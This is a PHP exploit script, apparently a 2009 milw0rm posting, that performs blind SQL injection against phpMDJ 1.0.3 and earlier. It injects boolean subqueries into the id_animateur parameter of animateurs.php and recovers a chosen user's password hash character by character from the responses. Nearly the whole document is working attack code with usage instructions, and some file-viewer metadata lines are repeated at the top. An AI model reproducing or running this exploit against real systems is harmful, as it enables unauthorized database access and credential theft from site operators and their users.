77 lines
No EOL
1.6 KiB
PHP
77 lines
No EOL
1.6 KiB
PHP
--+++=========================================================+++--
|
|
--+++====== phpMDJ <= 1.0.3 Blind SQL Injection Exploit ======+++--
|
|
--+++=========================================================+++--
|
|
|
|
<?php
|
|
|
|
function query ($usr, $chr, $pos)
|
|
{
|
|
$query = "x' OR ASCII(SUBSTRING((SELECT mdp FROM phpmdj_users WHERE pseudo = '{$usr}'),{$pos},1))={$chr} OR '1' = '2";
|
|
$query = str_replace (" ", "%20", $query);
|
|
$query = str_replace ("'", "%27", $query);
|
|
return $query;
|
|
}
|
|
|
|
function exploit ($hostname, $path, $usr, $chr, $pos)
|
|
{
|
|
$chr = ord ($chr);
|
|
|
|
$fp = fsockopen ($hostname, 80);
|
|
|
|
$query = query ($usr, $chr, $pos);
|
|
$request = "GET {$path}/animateurs.php?id_animateur={$query} HTTP/1.1\r\n".
|
|
"Host: {$hostname}\r\n".
|
|
"Connection: Close\r\n\r\n";
|
|
|
|
fputs ($fp, $request);
|
|
|
|
while (!feof ($fp))
|
|
$reply .= fgets ($fp, 1024);
|
|
|
|
fclose ($fp);
|
|
preg_match ("/Les animateurs<\/a> :(.+)<\/h2>/", $reply, $x);
|
|
|
|
if (strlen (trim ($x [1])) == 0)
|
|
return false;
|
|
else
|
|
return true;
|
|
}
|
|
|
|
function usage ()
|
|
{
|
|
echo
|
|
"\n[+] phpMDJ <= 1.0.3 Blind SQL Injection Exploit".
|
|
"\n[+] Author: darkjoker".
|
|
"\n[+] Site : http://darkjoker.net23.net".
|
|
"\n[+] Usage : php xpl.php <hostname> <path> <username>".
|
|
"\n[+] Ex. : php xpl.php localhost /phpMDJ admin".
|
|
"\n\n";
|
|
exit ();
|
|
}
|
|
|
|
if ($argc != 4)
|
|
usage ();
|
|
|
|
$hostname = $argv [1];
|
|
$path = $argv [2];
|
|
$user = $argv [3];
|
|
$key = "abcdef0123456789";
|
|
$pos = 1;
|
|
$chr = 0;
|
|
|
|
echo "[+] Password: ";
|
|
|
|
while ($pos <= 32)
|
|
{
|
|
if (exploit ($hostname, $path, $user, $key [$chr], $pos))
|
|
{
|
|
echo $key [$chr];
|
|
$chr = -1;
|
|
$pos++;
|
|
}
|
|
$chr++;
|
|
}
|
|
|
|
echo "\n\n";
|
|
|
|
# milw0rm.com [2009-01-11]
|